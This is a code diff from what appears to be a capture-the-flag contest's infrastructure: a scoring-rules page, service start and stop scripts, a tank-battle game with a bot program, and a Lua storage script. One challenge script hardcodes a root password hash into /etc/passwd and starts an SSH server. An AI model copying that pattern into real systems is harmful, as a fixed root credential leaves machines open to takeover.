This event would not be possible without the help of many people.
<a href="credits.html">Thank you, people</a>.
</p>
</body>
</html>

View File

@ -0,0 +1,46 @@
<!DOCTYPE html>
<html>
<head>
<title>About scoring</title>
<link rel="stylesheet" href="ctf.css" type="text/css">
<meta charset="utf-8">
</head>
<body>
<h1>About scoring</h1>
<p>
The contest is made up of multiple categories. Each category is
worth one point toward the total score; the percentage of the
total points held by your team is the percentage of one point your
team has for that category.
</p>
<p>
Categories are in the form of
multiple <em>puzzles</em>: for each puzzle presented, a
case-sensitive answer must be found to receive the amount of
points that puzzle is worth. Any team may answer any puzzle
question at any time. A new puzzle is revealed when a team
correctly answers the highest-valued puzzle in that category.
</p>
<h2>About time</h2>
<p>
Many Capture The Flag contests attempt to reward teams who answer
quickly, by adding a "quick answer" bonus or by decaying point
values over time. Our contest doesn't work this way.
</p>
<p>
We want to focus on rewarding technical proficiency, allowing
skilled contestants to prove their worth independent of their
ability to hit F5 quickly. It is our hope that by providing
enough things to work on, quick-moving teams will emerge with more
points by solving lots of puzzles, while novice teams get a solid
benchmark against which to judge their technical skill level: you
don't have to make allowances for reaction time in comparing
scores. In addition, when the game infrastructure goes down—which
seems to happen a lot in anybody's CTF—there's no losing points
while the organizers struggle to get things back up.
</p>
</body>
</html>

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::529/64
41

View File

@ -2,7 +2,7 @@
exec 2>&1
IP=$(cat ip.txt)
IP=$(/opt/00admin/sbin/fire-ip add)
ip addr add $IP dev eth0 || true
exec tcpsvd -u nobody ${IP%/*} 1013 /opt/playfair/bin/playfair

View File

@ -1,4 +1,3 @@
#! /bin/sh
IP=$(cat ip.txt)
ip addr del $IP dev eth0
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::2329/64
152

View File

@ -2,9 +2,7 @@
exec 2>&1
IP=$(cat ip.txt)
ip addr add $IP dev eth0
ip monitor | grep -q $IP
IP=$(/opt/00admin/sbin/fire-ip add)
# So I say to him, "Alex, what's a good high port number for a CTF category?"
# And he says, "6"

View File

@ -0,0 +1,3 @@
#! /bin/sh
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::c3/64
195

View File

@ -2,8 +2,7 @@
exec 2>&1
IP=$(cat ip.txt)
ip addr add $IP dev eth0 || true
IP=$(/opt/00admin/sbin/fire-ip add)
exec tcpsvd -u nobody ${IP%/*} 1013 ./go

View File

@ -1,4 +1,3 @@
#! /bin/sh
read IP < ip.txt
ip addr del $IP dev eth0
/opt/00admin/sbin/fire-ip del

View File

@ -1 +1 @@
fd84:b410:3441::b33b/64
59

View File

@ -1,8 +1,8 @@
#! /bin/sh -e
exec 2>&1
read IP < ip.txt
ip addr add $IP label eth0:rlyeh dev eth0 || true
IP=$(/opt/00admin/sbin/fire-ip add)
dir=/var/lib/ctf/rlyeh
install -o nobody -d $dir

View File

@ -59,7 +59,7 @@ $(ECMH_BUILDDIR): $(ECMH_CACHE)
router-build: $(ROUTER_BUILDDIR)/ecmh-build
$(ROUTER_BUILDDIR)/ecmh-build: $(ECMH_BUILDDIR)
$(MAKE) -C $(ECMH_BUILDDIR)/src ECMH_VERSION=dbtl-git
$(MAKE) -C $(ECMH_BUILDDIR)/src ECMH_VERSION=dbtl-git STRIP=$(STRIP)
$(MAKE) -C $(ECMH_BUILDDIR)/tools/mtrace6
touch $@

View File

@ -2,6 +2,6 @@
exec 2>&1
echo 'root:$1$xAJ7KwiU$BeKJjYGs9r/hY9Ag4qv4I1:0:0:root:/tmp:/bin/sh' > /etc/passwd
echo 'root:$1$xAJ7KwiU$BeKJjYGs9r/hY9Ag4qv4I1:0:0' | chpasswd --encrypted
exec dropbear -r ./rsa.key -E -F

View File

@ -0,0 +1 @@
Neale Pickett <neale@lanl.gov>

View File

@ -0,0 +1 @@
#d0d054

View File

@ -0,0 +1 @@
skirts

View File

@ -0,0 +1,58 @@
15 14 set-speed!
( Front )
5 sensor? {
get-turret 45 + 90 < { 15 15 } { 2 2 } ifelse set-speed!
0 set-turret!
} if
( Rear )
6 sensor? {
get-turret 45 + 90 < { 2 2 } { -15 -15 } ifelse set-speed!
180 set-turret!
} if
7 sensor? {
90 set-turret!
5 -5 set-speed!
} if
8 sensor? {
-90 set-turret!
-5 5 set-speed!
} if
1 sensor? {
get-turret 10 + set-turret!
} if
2 sensor? {
get-turret 10 - set-turret!
} if
3 sensor? {
get-turret 20 + set-turret!
} if
4 sensor? {
get-turret 20 - set-turret!
} if
0 sensor? {
0 0 set-speed!
get-turret set-turret!
fire!
} if
fire-ready? ! {
70 60 10 random +
get-turret 90 + 180 > { exch } if
set-speed!
} if
9 sensor? {
5 sensor? {
-100 -100
} {
100 100
} ifelse
set-speed!
} if

View File

@ -0,0 +1 @@
50 0 7 1

View File

@ -0,0 +1 @@
60 10 12 1

View File

@ -0,0 +1 @@
60 -10 12 1

View File

@ -0,0 +1 @@
90 30 40 1

View File

@ -0,0 +1 @@
90 -30 40 1

View File

@ -0,0 +1 @@
60 0 90 0

View File

@ -0,0 +1 @@
60 180 90 0

View File

@ -0,0 +1 @@
80 90 90 0

View File

@ -0,0 +1 @@
80 270 90 0

View File

@ -0,0 +1 @@
30 180 345 0

View File

@ -1,12 +1,14 @@
#! /bin/sh
#! /bin/sh -e
exec 2>&1
mkdir -p /var/www/tanks
ln -s /opt/tanks/html/* /var/www/tanks/
ln -sf summary.html /var/www/tanks/index.html
ln -s /opt/tanks/html/* /var/www/tanks/ || true
ln -s summary.html /var/www/tanks/index.html || true
install -o ctf -d /var/lib/ctf/tanks/players
mkdir -p /var/lib/ctf/tanks/players
chown ctf /var/lib/ctf/tanks
chown ctf /var/lib/ctf/tanks/players
PATH=/bin:/opt/ctfbase/bin:/opt/tanks/bin; export PATH
exec ./tanksd

View File

@ -41,7 +41,7 @@ EOF
}
while true; do
for dn in /var/lib/ctf/teams/names/*; do
find /var/lib/ctf/teams/names -type f | while read dn; do
hash=${dn##*/}
install -o ctf -d $p/$hash
done
@ -92,24 +92,19 @@ window.onload = go;
<div id="game_box"><canvas id="battlefield"></canvas></div>
<p><span id="fps">0</span> fps</p>
EOF
/opt/tanks/bin/rank.awk $rfn >>$fn
awk -f /opt/tanks/bin/rank.awk $rfn >>$fn
cat /opt/tanks/html/nav.html.inc >>$fn
cat <<EOF >>$fn
</body>
</html>
EOF
winner.awk $rfn | while read winner; do
awk -f /opt/tanks/bin/winner.awk $rfn | while read winner; do
hash=$(basename $winner)
echo "Round $next winner: $hash" >> $log
nwinners=$(wc -l $log)
# Read a token
k=$(sed -n ${nwinners}p /opt/tanks/tokens.txt)
# XXX: pull this out into another daemon
# XXX: this puts the token in /proc/self/cmdline
wget -q -s "http://10.0.0.2/claim.cgi?t=$hash&k=$k"
/opt/mcp/bin/pointscli $hash tanks 1
done
ln -sf $fn $w/current.html

View File

@ -21,8 +21,6 @@ tanks-install: tanks-build
cp $(TANKS_BUILDDIR)/rank.awk $(TANKS_PKGDIR)/bin
cp $(TANKS_BUILDDIR)/winner.awk $(TANKS_PKGDIR)/bin
cp packages/tanks/tokens.txt $(TANKS_PKGDIR)/
$(call COPYTREE, packages/tanks/html, $(TANKS_PKGDIR)/html)
cp packages/mcp/www/ctf.css $(TANKS_PKGDIR)/html/style.css
cp $(TANKS_BUILDDIR)/nav.html.inc $(TANKS_PKGDIR)/html

File diff suppressed because it is too large Load Diff

View File

@ -1,6 +1,4 @@
#! /usr/bin/lua
require("lfs")
#! /bin/env lua
BASEDIR = "/var/tmp/wopr"
POST_MAX = 512
@ -128,7 +126,7 @@ end
--
function get(key, ...)
local fn = string.format("%s/%s", dirname, key)
local fn = string.format("%s.%s", dirname, key)
local f = io.open(fn)
if (not f) then
return arg[1]
@ -140,12 +138,9 @@ function get(key, ...)
end
function set(key, ...)
local fn = string.format("%s/%s", dirname, key)
local fn = string.format("%s.%s", dirname, key)
local f
-- Lazy mkdir to save a few inodes
lfs.mkdir(dirname)
f = io.open(fn, "w")
if not f then
error("Unable to write " .. fn)
@ -155,7 +150,7 @@ function set(key, ...)
end
function del(key)
local fn = string.format("%s/%s", dirname, key)
local fn = string.format("%s.%s", dirname, key)
os.remove(fn)
end